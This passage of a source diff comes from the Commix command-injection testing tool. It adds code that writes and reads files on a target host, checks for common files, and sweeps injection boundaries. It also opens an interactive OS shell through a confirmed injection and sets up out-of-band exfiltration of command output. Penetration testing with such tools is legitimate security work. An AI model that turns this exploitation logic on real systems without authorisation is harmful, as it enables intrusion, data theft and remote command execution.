settings.USER_APPLIED_CMD + try: + return _answer_text(send(command), technique) or "" + finally: + settings.USER_APPLIED_CMD = applied + checks.decide_exact_output(technique, check) + shell = _answer_text(send(cmd), technique) + if shell is None and settings.RESULTS_BASED_EXACT_OUTPUT: + settings.RESULTS_BASED_EXACT_OUTPUT = False + warn_msg = "The more complex payload went unanswered, so command output is read the plain way." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + shell = _answer_text(send(cmd), technique) + return shell or "" + +""" +Build an execute_cmd(cmd) -> (output, fresh) callback around the injector model, with session caching - the shared logic behind every enumeration.py check. +""" +def make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=lambda shell: shell, postprocess_time=lambda shell: shell, catch_time_error=False): + fire = make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time, catch_time_error) + # Run one command, reusing a stored answer where the session already holds one. + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + fresh = not checks.usable_stored_cmd(stored) or menu.options.ignore_session + if fresh: + shell = fire(cmd) + if not settings.TIME_RELATED_ATTACK: + shell = postprocess(shell) + if shell: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = stored + return shell, fresh + return execute_cmd + +# eof diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py new file mode 100755 index 0000000000..b6c963c4ff --- /dev/null +++ b/src/core/controller/file_access.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.utils import session_handler +from src.core.controller import checks +from src.core.controller import execution +from src.thirdparty.six.moves import urllib as _urllib + +""" +Write to a file on the target host. +""" +def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + fresh_time = False + results_based_injector = False + file_to_write, dest_to_write, content = checks.check_file_to_write() + if settings.TARGET_OS == settings.OS.WINDOWS: + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + injector = execution.select_injector(technique) + else: + injector = execution.select_injector(settings.INJECTION_TECHNIQUE.RESULTS_BASED) + results_based_injector = True + if settings.TIME_RELATED_ATTACK: + whitespace = settings.WHITESPACES[0] + fresh_time = True + fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, results_based_injector=results_based_injector) + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + fire(cmd) + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + fire(cmd) + cmd = checks.delete_tmp(tmp_fname) + shell = fire(cmd) + else: + injector = execution.select_injector(technique) + fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + cmd = checks.write_content(content, dest_to_write) + if settings.TIME_RELATED_ATTACK: + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT + shell = fire(cmd) + cmd = checks.check_file(dest_to_write) + if settings.TIME_RELATED_ATTACK: + # Whether the file arrived is asked either way. Verbosity decides whether a blank line is + # printed first, not whether the check runs - reported unverified, a write that succeeded was + # announced as missing, and one that failed as present. + if settings.VERBOSITY_LEVEL == 0 and not fresh_time: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + shell = fire(cmd) + else: + if checks.using_backticks(): + cmd = checks.remove_command_substitution(cmd) + shell = fire(cmd) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + written = checks.file_write_status(shell, dest_to_write) + # Done right away, not deferred to quit() - 'fire' reads live technique state that moves on as + # the run keeps probing, so replaying it later is replaying it under the wrong technique. + if written and menu.options.cleanup: + checks.cleanup_remote_file(fire, dest_to_write) + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, file_to_read = checks.file_content_to_read() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + needs_fresh = not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session + if needs_fresh and settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ + not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): + shell, fresh = "", False + else: + # Asked for as base64 first, and read plainly only where the target cannot produce it. What a + # page does to a command's output - runs of whitespace folded into one, every newline among + # them - leaves a file that cannot be put back together; the encoded form has none of those + # characters in it, so the bytes arrive as they are on disk. + shell, fresh = checks.file_read_encoded(execute_cmd, file_to_read, technique) + if shell is None: + shell, fresh = execute_cmd(cmd) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and fresh and len(shell) != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) + +""" +Check for the '--common-files' wordlist on the target host, one path at a time. +""" +def common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + candidates = checks.common_files_candidates() + if not candidates: + return + info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + injector = execution.select_injector(technique) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + found = [] + for path in candidates: + # The same cheap pre-check '--file-read' uses under a timed technique - skipping the full + # extraction for a path that is not even there, rather than paying for one per candidate. + if settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ + not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, path, technique): + continue + shell, fresh = execute_cmd(checks.check_file(path)) + if checks.path_exists_on_target(shell): + found.append(path) + checks.print_common_files(found, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.common_files: + common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Target-wide - run once, on the first successful technique. + if not settings.FILE_ACCESS_DONE and menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +# eof diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py new file mode 100755 index 0000000000..b0f869473d --- /dev/null +++ b/src/core/controller/handler.py @@ -0,0 +1,1839 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import time +import string +import random +from src.core.parse import cmdline as menu +from src.utils import logs +from src.utils import settings +from src.utils import common +from src.utils import session_handler +from src.core.requests import requests +from src.core.controller import checks +from src.core.controller import proof +from src.thirdparty.six.moves import urllib as _urllib +from src.core.controller import shell_options +from src.thirdparty.six.moves import html_parser as _html_parser +from src.core.controller import file_access +from src.core.controller import registry_access +from src.core.controller import enumeration +from src.core.controller import execution +from src.core.techniques.tempfile_based import tfb_handler + +""" +Move a value already confirmed working (by another technique) to the front of a candidate list. +""" +def _prioritize(candidates, confirmed_value): + if confirmed_value in candidates: + return [confirmed_value] + [c for c in candidates if c != confirmed_value] + return candidates + +""" +Every (whitespace, prefix, suffix, separator) combination to try, in order. +""" +def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=False, grammar_separators=None): + """ + Each boundary worth sending, once. + + A prefix that is itself a separator is dropped where it meets one, which every separator does - + so from the second level up, every one of them arrives at the payload as the empty prefix that + was already tried. Raising the level then buys re-sending what has been sent rather than asking + anything new: at level three that is most of the combinations, over every technique alike. + + The suffix goes the same way. Against a payload that already closed itself, a separator suffix + reads as ';;' or '&|' - no shell parses either - and a quote suffix balances only its own prefix. + """ + # What the grammar calls a separator, which is not the same as what this target can chain on - + # a suffix is dead against a closed payload either way. + grammar_separators = separators if grammar_separators is None else grammar_separators + # Asked of the function that puts the terminator there, so the two cannot drift apart. + self_terminated = dict((separator, checks.terminate_payload("x", separator, keep_output) != "x") for separator in separators) + tried = set() + for whitespace in whitespaces: + for prefix in prefixes: + for suffix in suffixes: + for separator in separators: + if suffix and self_terminated[separator] and suffix in grammar_separators: + continue + if suffix in settings.QUOTES and suffix != prefix: + continue + # The same rule the payload is built under, so what is compared is what would be sent. + effective = "" if (prefix + separator) in settings.JUNK_COMBINATION else prefix + boundary = (whitespace, effective, suffix, separator) + if boundary in tried: + continue + tried.add(boundary) + # Asked of every boundary rather than of the technique as a whole, which is the point of + # the two options: '--technique' already chooses between techniques. + if not checks.test_selected(whitespace, effective, suffix, separator): + continue + yield whitespace, prefix, suffix, separator + +""" +Put the boundaries the parameter's own value asks for first. + +A value written as a number is rarely quoted in the command it ends up in, and one written as a +word often is - so which of the two shapes is tried first is worth taking from the value rather +than from the order the lists happen to carry. Worked out once per shape, for every parameter that +has it. +""" +def _order_by_value_shape(prefixes, suffixes): + # Read off the parameter's own value, which is what the shape is a fact about. Where the sink + # turned out not to need that value it has been stood in for by three random letters, and three + # letters of the alphabet are alphabetic every time - so reading the stand-in put the quoted + # boundaries first on every target that optimisation fired on, leaving the bare one last behind + # four pairs and every separator of each. The value it stands for is kept, and is read instead; + # where it was not kept, nothing is known about the shape and the lists are left as written. + value = (settings.TESTABLE_VALUE or "").strip() + if settings.VALUE_SKIPPED_EARLY: + value = (settings.VALUE_SKIPPED_EARLY[0] or "").strip() + elif settings.TESTABLE_VALUE_OPTIMIZED: + return prefixes, suffixes + if checks.is_digit(value): + quoted_last = True + elif value.isalpha(): + quoted_last = False + else: + return prefixes, suffixes + key = (quoted_last, tuple(prefixes), tuple(suffixes)) + if key not in settings.BOUNDARY_ORDER_CACHE: + # Sorted rather than split, so that what is not being moved keeps the order it was written in. + quoted = lambda candidate: any(quote in candidate for quote in settings.QUOTES) + settings.BOUNDARY_ORDER_CACHE[key] = ( + sorted(prefixes, key=lambda candidate: quoted(candidate) == quoted_last), + sorted(suffixes, key=lambda candidate: quoted(candidate) == quoted_last) + ) + return settings.BOUNDARY_ORDER_CACHE[key] + +""" +Put a boundary combo another technique already confirmed for this parameter first. +""" +def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): + prefixes, suffixes = _order_by_value_shape(prefixes, suffixes) + _boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + if _boundary: + _b_prefix, _b_suffix, _b_separator, _b_whitespace = _boundary + """ + Settled for this parameter, not merely tried first. + + A technique that broke out of the string already answered which prefix and suffix this sink + reads; the techniques after it are asked through that one rather than through one more ordering + of the whole space, which is what the reference does once an injection has a boundary of its own. + + The separator is left to the sweep. It is not part of that answer here the way a prefix is: what + chains at this sink is a question each technique settles for itself, and one that refuses an + operator another proved - boolean-based will not take a bare '&' - still needs its own turn. + """ + prefixes = [_b_prefix] if _b_prefix in prefixes else _prioritize(prefixes, _b_prefix) + suffixes = [_b_suffix] if _b_suffix in suffixes else _prioritize(suffixes, _b_suffix) + separators = _prioritize(separators, _b_separator) + whitespaces = _prioritize(whitespaces, _b_whitespace) + return prefixes, suffixes, separators, whitespaces + +""" +Announce the technique about to be tested, re-checking tamper compatibility now that it and the target OS are known. +""" +def _announce_technique(injection_type, technique): + settings.set_technique(technique) + checks.tamper_scripts(stored_tamper_scripts=True) + announced = (settings.CHECKING_PARAMETER, checks.technique_label(injection_type, technique)) + already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced + # A technique retried internally - the file-based search across writable-directory candidates, + # most of all - would otherwise repeat the "Testing/Continue testing" line once per candidate. + # Said once, the same way injection_process() already holds its own repeats back. + if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced: + return + if already_announced: + settings.LAST_RESUMED_TECHNIQUE = announced + checks.testing_technique_title(injection_type, technique) + +""" +Hold an action back, with the kind of attack that was in force when it was registered. + +What is deferred to quit() is run long after the technique that asked for it has finished, and the +next one may have set a different kind of attack in the meantime - so the flag travels with the +action rather than being read again when it finally runs. +""" +def _deferred_action(action, time_related_attack=None): + if time_related_attack is None: + time_related_attack = settings.TIME_RELATED_ATTACK + # The action itself, carrying the flag that was in force when it was held back. + def run(): + settings.TIME_RELATED_ATTACK = time_related_attack + action() + return run + +# Register a post-detection action, run once at quit(). +def _register_post_detection_action(action, time_related_attack=None): + settings.PENDING_POST_DETECTION_ACTIONS.append(_deferred_action(action, time_related_attack)) + +# Register the single deferred '--os-shell' entry, run at quit(). +def _register_os_shell_entry(action, time_related_attack=None): + settings.PENDING_OS_SHELL_ENTRY = _deferred_action(action, time_related_attack) + +""" +Exit handler +""" +def exit_handler(no_result): + if no_result: + if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: + """ + Every combination tried without one is the technique finished, so it is closed the way a + technique that found something closes: a parameter that answers nothing would otherwise + leave each of its techniques hanging on the dots it got to. + """ + if settings.PROGRESS_LINE_OPEN: + settings.RESPONSE_DELAYS = False + # Unless what ran out of combinations is the '/tmp/' attempt, which hands the sweep back + # rather than ending it: its line is left open for the boundaries the sweep returns to, so + # the one technique is announced once and closed once, however many directories it took. + if not settings.TEMPFILE_BASED_STATE: + settings.print_data_to_stdout(" (done)") + elif not settings.RESPONSE_DELAYS: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + settings.RESPONSE_DELAYS = False + return False + else : + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Delete previous shells outputs. +""" +def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if session_handler.check_file_deleted(url, technique, vuln_parameter, http_request_method): + info_msg = "The file ('" + OUTPUT_TEXTFILE + "') used for command execution was already deleted from the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + """ + Removed without being asked about. + + The file is a working command channel for whoever finds it next, and leaving one behind on a + target is not something to make the operator opt out of - so what the run put there, the run + takes away. + """ + info_msg = "Cleaning up the file ('" + OUTPUT_TEXTFILE + "') used for command execution." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + from src.core.techniques.file_based import fb_injector as injector + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + else: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # A delete that did not take must not be remembered as one, or the next run reports the file as + # already gone while it is still being served. + if checks.output_file_still_served(): + warn_msg = "The file ('" + OUTPUT_TEXTFILE + "') is still being served by the target, so it " + warn_msg += "does not appear to have been deleted. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The file ('" + OUTPUT_TEXTFILE + "') is no longer served by the target, so the " + debug_msg += "delete took." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method) + checks.forget_leftover_file(OUTPUT_TEXTFILE) + + +""" +The shared interactive shell loop, dispatching command execution through the given execute_cmd(cmd) callback. +""" +def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup=lambda: None, on_found_declined=lambda: None, force_enter=False, separator=""): + try: + checks.alert() + go_back = False + go_back_again = False + while True: + if go_back is True: + break + # --os-shell opens later, at quit(). + if force_enter: + gotshell = settings.CHOICE_YES[0] + else: + gotshell = settings.CHOICE_NO[0] + if menu.options.os_shell and settings.PENDING_OS_SHELL_ENTRY is None: + _register_os_shell_entry(lambda: pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined, force_enter=True, separator=separator)) + if gotshell in settings.CHOICE_YES: + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + info_msg = "Enabling the command shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + info_msg = "Selected (default) mode: 'os_shell'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + try: + # Trimmed before anything else: the tab completer leaves a space behind the word it + # completed, and that space would travel all the way into the payloads as part of the + # command - visible there, and read back as output the command never produced. + cmd = common.safe_input(settings.OS_SHELL).strip() + # An empty line asks for nothing, so it is answered with a fresh prompt - it used to be + # read as "switch to the mode you are already in", which only ever said so. + if len(cmd) == 0: + continue + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] in ("use", "download", "upload"): + if cmd.lower() == "quit" or cmd.lower() == "exit": + cleanup() + go_back, go_back_again = shell_options.check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + if go_back and go_back_again is False: + break + if go_back and go_back_again: + return True + else: + # execute_cmd() itself is responsible for logging the executed command. + shell = execute_cmd(cmd) + if shell: + settings.command_execution_output(shell) + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit(settings.EXIT_FAILURE) + except KeyboardInterrupt: + # Resume right back at the shell prompt - no need to re-ask to spawn one. + checks.handle_exploitation_interrupt(filename, url) + continue + + elif gotshell in settings.CHOICE_NO: + # One combined question at the end, not per-technique. + if no_result: + return False + on_found_declined() + return True + elif gotshell in settings.CHOICE_QUIT: + cleanup() + checks.quit(filename, url, hard_exit=False) + else: + common.invalid_option(gotshell) + pass + + except KeyboardInterrupt: + cleanup() + checks.handle_exploitation_interrupt(filename, url) + # Continue chosen - re-enter the shell fresh. + return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined=on_found_declined, separator=separator) + + except SystemExit: + cleanup() + settings.print_data_to_stdout(settings.END_LINE.CR) + raise + + except EOFError: + checks.EOFError_err_msg() + cleanup() + settings.print_data_to_stdout(settings.END_LINE.CR) + # Return False to stop searching after this combination was already reported. + return True + +# Open a shell on the target, carried by whichever technique proved the injection. +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + # Offer to remove whatever the technique left on the target before the run ends. + def cleanup(): + # The file is on the target because the technique put it there, whatever the run then did with + # it - so the offer to remove it does not wait on '--os-shell' having been the thing asked for. + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + # Registered here, actually asked/run later at quit(). + settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + + # Registered on the way in, not only where the shell loop ends - a run that never opened one still + # put the file there, and the shell offer being declined is not a reason to leave it behind. + cleanup() + + # Run one command through the confirmed injection point, reusing a stored answer where there is one. + def execute_cmd(cmd): + _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if menu.options.ignore_session or not checks.usable_stored_cmd(_stored_shell): + shell = None + # Tried first, the created file read through whatever already tells this target's pages true + # from false - cheaper than the delay below and, unlike it, safe to ask for concurrently. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd) + if shell is None: + time.sleep(timesec) + # The main command injection exploitation. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + # Export injection result + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) + else: + # Through the same reading every other command takes, so the form settled before the first + # one holds in the shell as well, and each command is run once. + def send(command): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec) + shell = execution.read_command_output(send, technique, cmd) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + # Storing a known-incomplete result would serve it back as if it were the real output. + if shell and not menu.options.ignore_session and not settings.INCOMPLETE_OUTPUT: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = _stored_shell + return shell + + # The executor that reaches this point, kept for '--proof' to run its own experiment at the end. + # A technique that answers in time is given the boundary instead, so the proof can time one + # request of its own rather than the extraction wrapper built on top of it. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd, + boundary=(separator, prefix, suffix, whitespace, url, timesec)) + + return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, separator=separator) + +""" +Retry value-skip using the confirmed exploit's own delay signal. +""" +def probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG=None, OUTPUT_TEXTFILE=None): + if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE: + return url, prefix + # Asked through the oracle where this boundary already has one calibrated - a plain yes/no costs + # nothing to wait for, where the delay-based probe below would otherwise be the first timed + # comparison of a run that never needed one anywhere else. The same question calibration already + # answered correctly, not a bare "1==1": that shape was never itself calibrated, and a page that + # only distinguishes true from false by what a file-read prints would read it as no answer at all. + oracle_probe = False + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and TAG and OUTPUT_TEXTFILE: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + oracle_probe = oracle_handler.oracle_active(url, vuln_parameter, separator) + if oracle_probe: + payload = checks.tempfile_based_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = checks.time_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method) + else: + payload = checks.tempfile_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method) + if payload is None: + return url, prefix + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url, prefix + + from src.core.requests import stability + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + original_data = menu.options.data + original_url = url + original_value = settings.TESTABLE_VALUE + if in_data: + menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + if settings.VERBOSITY_LEVEL != 0: + debug_msg = ("Asking the oracle against" if oracle_probe else "Replaying the delay against") + \ + " the random value '" + placeholder + "', to check if the real one is needed." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + """ + Sent inside the boundary the finding was made with, not bare. + + A separator breaks out of a shell on its own, so an empty prefix and suffix cost the command sink + nothing - but for an evaluation sink the boundary is the prefix and suffix, and without them the + payload lands in the string as text that is never evaluated. The probe then always reads "no + delay", and the optimisation it exists to make is never taken. + """ + confirmed = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + probe_prefix, probe_suffix = (confirmed[0], confirmed[1]) if confirmed else ("", "") + try: + if oracle_probe: + from src.core.techniques.boolean_based import bb_injector + answer, _ = bb_injector.answer(payload, probe_prefix, probe_suffix, whitespace, http_request_method, url, vuln_parameter) + succeeded = answer is True + else: + before = stability.requests_sent() + exec_time, _, _, _, _ = requests.perform_injection(probe_prefix, probe_suffix, whitespace, payload, vuln_parameter, http_request_method, url) + succeeded = not stability.request_was_retried(before) and checks.time_related_shell(exec_time, timesec) + except Exception: + succeeded = False + + if not succeeded: + menu.options.data = original_data + settings.TESTABLE_VALUE = original_value + return original_url, prefix + + settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value + session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The real parameter value is not required, so it is skipped for faster requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + """ + Hand back the boundary itself, rather than nothing at all. + + The caller's prefix still has the old value baked into it, so it cannot be kept - but an empty one + can only be right where the separator is what breaks in. An evaluation sink is reached through the + prefix, and dropping it leaves every payload after this sitting in the string as text. + """ + return url, probe_prefix + +""" +Fire every boundary/transport candidate without waiting, then poll once for the results. +""" +def do_oob_process(url, timesec, filename, http_request_method, injection_type, technique): + + from src.core.techniques.oob import oob_payloads as payloads + + channel = checks.init_oob_channel() + if channel is None: + return False + + # Exploit the confirmed out-of-band boundary, once a client on the target has been found to reach back. + def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG): + from src.core.techniques.oob import oob_injector as oob_inj + settings.OOB_TRANSPORT = transport + if not oob_inj.can_execute(): + alternatives = payloads.exfiltration_alternatives(transport) + warn_msg = "Only the '" + transport + "' client reached the out-of-band server" + if alternatives: + warn_msg += " (" + ", ".join("'" + candidate + "'" for candidate in alternatives) + " did not)" + warn_msg += ", so the injection point is confirmed but its output cannot be retrieved. " + warn_msg += "Try '--oob-scheme' or an '--oob-server' the target can reach over HTTP(S)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + cmd = maxlen = OUTPUT_TEXTFILE = "" + interpreter = menu.options.interpreter + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) 